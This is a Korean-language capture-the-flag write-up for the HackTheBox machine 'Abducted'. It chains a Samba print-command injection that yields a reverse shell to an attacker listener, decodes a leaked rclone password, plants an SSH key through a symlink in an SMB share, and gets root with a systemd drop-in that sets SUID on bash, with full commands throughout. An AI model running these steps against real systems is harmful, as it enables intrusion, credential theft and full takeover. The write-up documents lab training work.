
🔴 HackTheBox Abducted (Medium) — CVE-2026-4480 (Samba %J) → rclone 노출 → SMB 심볼릭 링크 → systemd 드롭인 → 루트
** 난이도: ** 중간 · ** 운영체제: ** Linux · ** 카테고리: ** Samba CVE / 권한 상승
작성자: @timgad794
Abducted는 전문 서비스 환경에서 침해된 로컬 파일 및 인쇄 서버를 시뮬레이션합니다. 이 박스는 Samba 인쇄 하위 시스템 취약점(CVE-2026-4480), rclone 자격 증명 유출, SMB 심볼릭 링크 공격, 그리고 systemd 드롭인 권한 상승을 연쇄적으로 연결합니다.
익스플로잇 체인:
Recon (nmap) → SMB enum (HP-Reception printer share)
→ CVE-2026-4480 (Samba %J command injection) → RCE as nobody
→ /opt/offsite-backup/rclone.conf (obfuscated password)
→ rclone reveal → cleartext password
→ SSH as scott → User Flag
→ SMB symlink via "wide links" + "force user = marcus" → SSH as marcus
→ systemd drop-in (smbd.service.d) → SUID bash → root
초기 Nmap 스캔: Nmap 스캔
nobody 권한의 리버스 셸: 리버스 셸
SUID bash를 이용한 루트 셸: 루트 셸
echo "10.129.244.177 abducted.htb" | sudo tee -a /etc/hosts
nmap abducted.htb -sCV -A -oN abducted-nmap.txt
결과:
| 포트 | 서비스 | 버전 |
|---|---|---|
| 22/tcp | SSH | OpenSSH 9.6p1 Ubuntu |
| 139/tcp | netbios-ssn | Samba smbd 4 |
| 445/tcp | netbios-ssn | Samba smbd 4 |
3개의 열린 TCP 포트 — Linux 파일 및 프린트 서버입니다.
smbclient -L //abducted.htb -N
출력:
Sharename Type Comment
--------- ---- -------
HP-Reception Printer Reception printer
projects Disk Hartley Group Project Files
transfer Disk Staff file transfer
IPC$ IPC IPC Service (Hartley Group Document Services)
주요 발견 사항:
HP-Reception — 게스트 액세스가 가능한 프린터 공유transfer — 파일 전송 공유(나중에 심볼릭 링크 공격에 사용됨)Samba는 클라이언트가 제어하는 인쇄 작업 설명을 셸 메타 문자를 이스케이프하지 않고 %J 자리 표시자를 통해 print command에 전달합니다. 이로 인해 인증되지 않은 공격자가 인쇄 서비스 계정으로 임의의 명령을 실행할 수 있습니다.
git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC.git
cd CVE-2026-4480-PoC
cat exploit.py | head -30
터미널 A:
nc -lvnp 8443
터미널 B:
cd ~/CVE-2026-4480-PoC
python3 exploit.py 10.129.244.177 10.10.16.96 8443 -P HP-Reception
예상 출력:
[*] target : 10.129.244.177 (\\10.129.244.177\HP-Reception)
[*] callback : 10.10.16.96:8443
[+] print job submitted -- check your listener
터미널 A:
Connection received on 10.129.244.177 ...
nobody@abducted:/var/spool/samba$
이제 우리는 nobody로서 RCE를 보유하고 있습니다 (uid=65534).
id
# uid=65534(nobody) gid=65534(nogroup)
cat /etc/passwd | grep -E "bash|sh$"
# → root, scott, marcus
find / -type f -name "rclone.conf" 2>/dev/null
# → /opt/offsite-backup/rclone.conf
cat /opt/offsite-backup/rclone.conf
출력:
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix
rclone은 가역적 base64 난독화를 사용합니다. rclone 자체를 사용하세요:
# On Kali (not inside the shell)
sudo apt install -y rclone
rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
출력:
iXzvcib3SrpZ
scott으로 SSH 접속ssh [email protected]
# Password: iXzvcib3SrpZ
로그인 성공!
id
# uid=1000(scott) gid=1001(scott)
cat ~/user.txt
# 🟢 User Flag
scott → marcus/etc/samba/shares.conf의 transfer 공유에는 다음이 포함되어 있습니다:
[transfer]
path = /srv/transfer
force user = marcus
wide links = yes
...
의미:
force user = marcus — 모든 파일 작업이 marcus로 실행됩니다wide links = yes — 심볼릭 링크가 공유 디렉터리 외부를 가리킬 수 있습니다SSH 세션에서 scott 사용자로서:
# SSH keypair in scott's home (not /tmp — nobody owns files there)
ssh-keygen -q -t ed25519 -N '' -f ~/k
# Symlink to marcus's home
ln -s /home/marcus /srv/transfer/keys
# Upload public key — ABSOLUTE paths required (smbclient does not expand tilde)
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
-c 'put /home/scott/k.pub keys/.ssh/authorized_keys'
검증:
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
-c 'get keys/.ssh/authorized_keys /tmp/ak'
diff /tmp/ak /home/scott/k.pub && echo "KEYS MATCH"
ssh -i /home/scott/k -o StrictHostKeyChecking=no marcus@localhost
id
# → uid=1001(marcus) groups=1002(marcus),1000(operators)
중요: operators는 에스컬레이션을 위한 핵심 그룹입니다.
marcus → rootfind / -group operators 2>/dev/null
# → /etc/systemd/system/smbd.service.d
ls -ld /etc/systemd/system/smbd.service.d/
# drwxrws--- 2 root operators
operators 그룹은 smbd 서비스의 systemd drop-in 디렉터리에 쓰기 권한을 가집니다.
marcus로서:
cat > /etc/systemd/system/smbd.service.d/daffy.conf << 'EOF'
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF
재로드 + 재시작 (polkit은 operators가 비밀번호 없이 daemon-reload를 실행하도록 허용합니다):
systemctl daemon-reload
systemctl restart smbd
/bin/bash -p
id
# → euid=0(root)
cat /root/root.txt
# 🔴 Root Flag
박스가 완전히 장악되었습니다. ✅
| 플래그 | 경로 |
|---|---|
| 🟢 사용자 | /home/scott/user.txt |
| 🔴 루트 | /root/root.txt |
| 개념 | 적용 |
|---|---|
| CVE-2026-4480 | Samba %J 프린트 명령 주입 → RCE |
| rclone 난독화 해제 | 가역적 base64 난독화를 위한 rclone reveal |
| 비밀번호 재사용 | svc-backup 비밀번호가 scott에도 통함 |
| SMB 심볼릭 링크 공격 | wide links = yes + force user = marcus |
| systemd 드롭인 하이재킹 | smbd.service.d에 대한 쓰기 권한 → ExecStartPre |
| SUID Bash | chmod +s /bin/bash + /bin/bash -p → euid=0 |
| polkit 우회 | operators 그룹은 인증 없이 daemon-reload 가능 |
이 라이트업은 HackTheBox 플랫폼에서 수행된 승인된 침투 테스트만을 문서화합니다. 모든 자격 증명과 플래그는 랩 환경의 일부이며 프로덕션 시스템이 아닙니다.
⭐ 이 라이트업이 도움이 되었다면, 별을 남겨 주세요!